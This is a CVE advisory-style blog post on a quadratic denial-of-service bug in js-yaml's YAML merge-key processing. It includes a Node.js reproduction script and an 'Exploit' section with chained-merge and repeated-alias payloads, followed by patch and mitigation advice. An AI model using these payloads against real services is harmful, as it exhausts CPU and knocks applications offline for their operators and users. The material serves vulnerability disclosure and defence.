Listen to this Post
How CVE-2026-59868 Works
js-yaml is a JavaScript YAML parser and dumper widely used in Node.js applications for configuration files, data serialization, and API payloads. The library supports the YAML merge key syntax (<<), which allows one mapping to inherit keys from another mapping. This feature is powerful but, when enabled, introduces a subtle algorithmic vulnerability.
The issue resides in the `storeMappingPair` function within lib/loader.js. When the parser encounters a merge key, it processes each element in the merge sequence and calls mergeMappings. The `mergeMappings` function then enumerates all keys of the source object using `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key.
An attacker can exploit this by crafting a YAML document with a chain of mappings, where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: a0, k1: 1 }
a2: &a2 { <<: a1, k2: 2 }
a3: &a3 { <<: a2, k3: 3 }
...
b: aN
For each new mapping in the chain, the loader must enumerate all keys inherited from the previous mapping. With N chained mappings, the parser performs roughly 1 + 2 + … + N merged-key visits — that is O(N²) work for O(N) input size. Even with a relatively small payload (tens of KB), this quadratic behavior can block the Node.js event loop for seconds, resulting in denial of service.
The vulnerability affects js-yaml versions 5.0.0 through 5.1.x when merge keys are enabled. In version 5.x, merge keys are off by default, which lowers the severity compared to earlier versions (v3/v4) where they were enabled by default. The issue is fixed in js-yaml 5.2.0.
DailyCVE Form:
Platform: ……. js-yaml
Version: …….. 5.0.0 – 5.1.x
Vulnerability :…… Quadratic DoS (merge keys)
Severity: ……. MEDIUM (CVSS 5.3)
date: ………. 2026-07-08
Prediction: …… Already Patched (5.2.0)
What Undercode Say: Analytics
The vulnerability manifests through predictable algorithmic complexity:
Test script to reproduce the issue
node -e "
const { performance } = require('perf_hooks');
const { load, YAML11_SCHEMA } = require('js-yaml');
function makeMergeChain(n) {
const lines = ['a0: &a0 { k0: 0 }'];
for (let i = 1; i < n; i++) {
lines.push(<code>a\${i}: &a\${i} { <<: a\${i-1}, k\${i}: \${i} }</code>);
}
lines.push(<code>b: a\${n-1}</code>);
return lines.join('\n') + '\n';
}
const n = 4000;
const source = makeMergeChain(n);
const start = performance.now();
load(source, { schema: YAML11_SCHEMA });
console.log(<code>Parse time: \${(performance.now() - start).toFixed(1)} ms</code>);
"
Expected output for N=4000 (document size < 100KB):
Parse time: > 1000.0 ms
Key metrics:
- Input growth: O(N) — document size scales linearly with chain length
- CPU consumption: O(N²) — parse time grows quadratically
- Threshold: N ≈ 4000 triggers >1s delay
- Attack surface: Any service parsing untrusted YAML (API backends, CI tools, config processors)
Exploit
A minimal malicious payload:
a0: &a0 { k0: 0 }
a1: &a1 { <<: a0, k1: 1 }
a2: &a2 { <<: a1, k2: 2 }
a3: &a3 { <<: a2, k3: 3 }
... repeat to N=4000+
b: a3999
Alternative vector using repeated aliases in a merge sequence:
a: &a { k0: 0, k1: 0, ..., kK: 0 }
b: { <<: [a, a, a, ... repeated M times] }
This also produces O(K × M) work, quadratic as payload grows.
Protection
- Upgrade to js-yaml 5.2.0 (or 4.2.0 / 3.15.0 for older branches).
- Limit merged keys per parse call — the fix introduces a default 10K-key limit, which should be sufficient for most use cases.
- Disable merge keys if not required (in v5, merge is off by default).
- Validate YAML input size before parsing — reject documents exceeding reasonable thresholds.
- Use `–disable-proto=delete` for additional prototype pollution protection (related to CVE-2025-64718).
Impact
- Denial of Service — CPU exhaustion blocks the Node.js event loop
- Low complexity — attack requires no authentication and can be performed remotely
- Small payload — tens of kilobytes sufficient to cause seconds of delay
- Availability impact only — no confidentiality or integrity loss
- Affected environments: API backends, CI/CD pipelines, configuration parsers, automation services
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
